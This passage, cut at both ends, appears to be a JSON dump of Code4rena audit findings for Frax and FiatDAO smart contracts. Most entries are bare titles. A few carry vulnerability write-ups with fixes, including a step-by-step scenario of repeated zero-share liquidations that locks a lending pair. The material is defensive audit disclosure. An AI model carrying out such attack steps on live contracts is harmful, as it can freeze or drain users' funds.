```solidity // In FraxlendPair contract bool public timelockSetted; function setTimeLock(address _newAddress) external onlyOwner { require(!timelockSetted); emit SetTimeLock(TIME_LOCK_ADDRESS, _newAddress); TIME_LOCK_ADDRESS = _newAddress; timelockeSetted=true; } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "low quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Penalty rate is used for pre-maturity date as well", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/111", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "downgraded by judge", "sponsor acknowledged", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Penalty rate is used for pre-maturity date as well"}, {"title": "Unprotected updation of whitelist", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/107", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "Unprotected updation of whitelist"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Any borrower with bad debt can be liquidated multiple times to lock funds in the lending pair", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/102", "labels": ["bug", "3 (High Risk)", "high quality report", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L997-L1015 # Vulnerability details ## Impact Leftover shares in `liquidateClean` are only subtracted from pair totals, but not from user's borrowed shares. This means that after `liquidateClean`, borrower's shares will be greater than `0` (leftover shares after liquidations), but the user is still insolvent and can be liquidated again and again (with `_sharesToLiquidate` set to `0`). Each subsequent liquidation will write off the bad debt (reduce pair totals by borrower leftover shares/amounts), but doesn't take anything from liquidator nor borrower (since `_sharesToLiquidate == 0`). This messes up the whole pair accounting, with total asset amounts reducing and total borrow amounts and shares reducing. This will make it impossible for borrowers to repay debt (or be liquidated), because borrow totals will underflow, and lenders amount to withdraw will reduce a lot (they will share non-existant huge bad debt). Reducing pair totals scenario: 1. Alice borrows `1000 FRAX` (`1000` shares) against `1.5 ETH` collateral (`1 ETH = 1000`, `Max LTV` = `75%`) 2. ETH drops to `500` very quickly with liquidators being unable to liquidate Alice due to network congestion 3. At ETH = `500`, Alice collateral is worth `750` against `1000 FRAX` debt, making Alice insolvent and in a bad debt 4. Liquidator calls `liquidateClean` for `800` shares, which cleans up all available collateral of `1.5 ETH`. 5. At this point Alice has `200` shares debt with `0` collateral 6. Liquidator repeatedly calls `liquidateClean` with `0` shares to liquidate. Each call pair totals are reduced by `200` shares (and total borrow amount by a corresponding amount). 7. When pair totals reach close to `0`, the pool is effectively locked. Borrowers can't repay, lenders can withdraw severly reduced amounts. ## Proof of Concept Copy this to src/test/e2e/LiquidationBugTest.sol https://gist.github.com/panprog/cbdc1658d63c30c9fe94127a4b4b7e72 ## Recommended Mitigation Steps After the line https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L1012 add _sharesToLiquidate += _sharesToAdjust;"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Liquidator might end up paying much more asset than collateral received", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/99", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-08-frax-findings", "body": "Liquidator might end up paying much more asset than collateral received"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Whitelist lender can prevent liquidation by removing all other lenders from whitelist", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/80", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "Whitelist lender can prevent liquidation by removing all other lenders from whitelist"}, {"title": "FraxlendPair.sol is not fully EIP-4626 compliant", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/79", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L136-L138 https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L140-L142 # Vulnerability details ## Impact FraxlendPair.sol is not EIP-4626 compliant, variation from the standard could break composability and potentially lead to loss of funds ## Proof of Concept According to EIP-4626 method specifications (https://eips.ethereum.org/EIPS/eip-4626) For maxDeposit: MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0. For maxMint: MUST factor in both global and user-specific limits, like if mints are entirely disabled (even temporarily) it MUST return 0. When FraxlendPair.sol is paused, deposit and mint are both disabled. This means that maxMint and maxDeposit should return 0 when the contract is paused. The current implementations of maxMint and maxDeposit do not follow this specification: function maxDeposit(address) external pure returns (uint256) { return type(uint128).max; } function maxMint(address) external pure returns (uint256) { return type(uint128).max; } No matter the state of the contract they always return uint128.max, but they should return 0 when the contract is paused. ## Tools Used ## Recommended Mitigation Steps maxDeposit and maxMint should be updated to return 0 when contract is paused. Use of the whenNotPaused modifier is not appropriate because that would cause a revert and maxDeposit and maxMint should never revert according to EIP-4626"}, {"title": "Denial of service in globalPause by wrong logic", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/76", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairDeployer.sol#L405 # Vulnerability details ## Impact The method `globalPause` is not tested and it doesn't work as expected. ## Proof of Concept Because the method returns an array (`_updatedAddresses`) and has never been initialized, when you want to set its value, it fails. Recipe: - Call `globalPause` with any valid address. - The transaction will FAULT. ## Affected source code - [FraxlendPairDeployer.sol#L405](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairDeployer.sol#L405) ## Recommended Mitigation Steps Initialize the `_updatedAddresses` array like shown bellow: ```diff function globalPause(address[] memory _addresses) external returns (address[] memory _updatedAddresses) { require(msg.sender == CIRCUIT_BREAKER_ADDRESS, \"Circuit Breaker only\"); address _pairAddress; uint256 _lengthOfArray = _addresses.length; + _updatedAddresses = new address[](_lengthOfArray); for (uint256 i = 0; i < _lengthOfArray; ) { _pairAddress = _addresses[i]; try IFraxlendPair(_pairAddress).pause() { _updatedAddresses[i] = _addresses[i]; } catch {} unchecked { i = i + 1; } } } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/72", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Different rounding scheme when withdrawing fees", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/53", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-frax-findings", "body": "Different rounding scheme when withdrawing fees"}, {"title": "No incentives to write off bad debt when remaining collateral is very small", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-08-frax-findings", "body": "No incentives to write off bad debt when remaining collateral is very small"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/1", "labels": [], "target": "2022-08-frax-findings", "body": "Agreements & Disclosures"}, {"title": "Blocklist.block() is avoidable with frontrun by targets", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/328", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-fiatdao-findings", "body": "Blocklist.block() is avoidable with frontrun by targets"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/327", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/324", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/323", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/322", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/320", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/319", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "`increaseUnlockTime` missing `_checkpoint` for delegated values", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/318", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "downgraded by judge", "sponsor confirmed"], "target": "2022-08-fiatdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-fiatdao/blob/fece3bdb79ccacb501099c24b60312cd0b2e4bb2/contracts/VotingEscrow.sol#L509-L515 # Vulnerability details ### [PNM-001] `increaseUnlockTime` missing `_checkpoint` for delegated values. #### Links + https://github.com/code-423n4/2022-08-fiatdao/blob/fece3bdb79ccacb501099c24b60312cd0b2e4bb2/contracts/VotingEscrow.sol#L509-L515 #### Description In the VotingEscrow contract, users can increase their voting power by: + Adding more funds to their delegated valule + Increasing the time of their lock + Being delegated by another user Specifically, when users are delegated by other users through the `delegate` function, the delegated user gains control over the delegate funds from the delegating user. The delegated user can further increase this power by increasing the time that the delegated funds are locked by calling `increaseUnlockTime`, resulting in ALL the delegated funds controlled by the delegated user, including those that do not originate from the delegated user, being used to increase the voting power of the user. The issue lies in the following scenario: If user A delegates to user B, and then user B delegates to user C, user B loses the ability to extend his or her voting power by `increaseUnlockTime` due to a missing `_checkpoint` operation. If user B calls the `increaseUnlockTime` function, the `_checkpoint` operation will not proceed, as user B is delegating to user C. However, B still owns delegated funds, in the form of the funds delegated from user A. Therefore, user B should still gain voting power from `increaseUnlockTime`, even though user B is delegating. #### PoC / Attack Scenario Assume three users, Alice, Bob, and Carol, who each possess `locks` with 10 units of `delegate` value. Also assume that the unlock time is 1 week. + Alice delegates her 10 units to Bob. + Bob then delegates his 10 units to Carol. + At this point, Alice has 0 `delegate`, value, Bob has 10 `delegate` value, and Carol has 20 `delegate` value. + Carol calls `increaseUnlockTime` to 2 weeks, resulting in `_checkpoint` raising her voting power accordingly. + Bob calls `increaseUnlockTime` to 2 weeks, resulting in no change in his voting power, even though he has 10 units of `delegate` value. #### Suggested Fix Move the `_checkpoint` outside of the `if` statement on line 514. ---"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/317", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/314", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/313", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/311", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/310", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/309", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/308", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/307", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/306", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/305", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/303", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/301", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/300", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/299", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/297", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Wrong logic in `_checkpoint()` function might lead to wrong value of `balanceOfAt()`, `totalSupplyAt()`", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/294", "labels": ["bug", "duplicate", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-fiatdao/blob/fece3bdb79ccacb501099c24b60312cd0b2e4bb2/contracts/VotingEscrow.sol#L257-L264 https://github.com/code-423n4/2022-08-fiatdao/blob/fece3bdb79ccacb501099c24b60312cd0b2e4bb2/contracts/VotingEscrow.sol#L372 # Vulnerability details ## Impact In function `_checkpoint()`, new values of `userPointHistory` and `pointHistory` are override old values instead of appending to the end of the list, i.e creating new element. The result is if we try to get `balanceOf` or `totalSupply` at current block number, it just return wrong value because values of `globalEpoch` is overrided. ## Proof of Concept [Line 257-264](https://github.com/code-423n4/2022-08-fiatdao/blob/fece3bdb79ccacb501099c24b60312cd0b2e4bb2/contracts/VotingEscrow.sol#L257-L264) ```solidity if (uEpoch == 0) { userPointHistory[_addr][uEpoch + 1] = userOldPoint; } userPointEpoch[_addr] = uEpoch + 1; userNewPoint.ts = block.timestamp; userNewPoint.blk = block.number; userPointHistory[_addr][uEpoch + 1] = userNewPoint; ``` When `uEpoch == 0`, values of `userPointHistory` with `index = uEpoch + 1` is updated to `userOldPoint` but in line 264, values of `userPointHistory` with `index = uEpoch + 1` is overrided to `userNewPoint` which basically makes line 257-259 has no meaning. Similarly issue with value of `pointHistory[epoch]` in [line 372](https://github.com/code-423n4/2022-08-fiatdao/blob/fece3bdb79ccacb501099c24b60312cd0b2e4bb2/contracts/VotingEscrow.sol#L372) ## Tools Used Manual Review ## Recommended Mitigation Steps Update logic of `_checkpoint()`, for example, use `++` operator to make sure `epoch` is increased each time it appends new element. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/293", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/292", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/291", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/289", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/287", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/286", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/285", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/284", "labels": 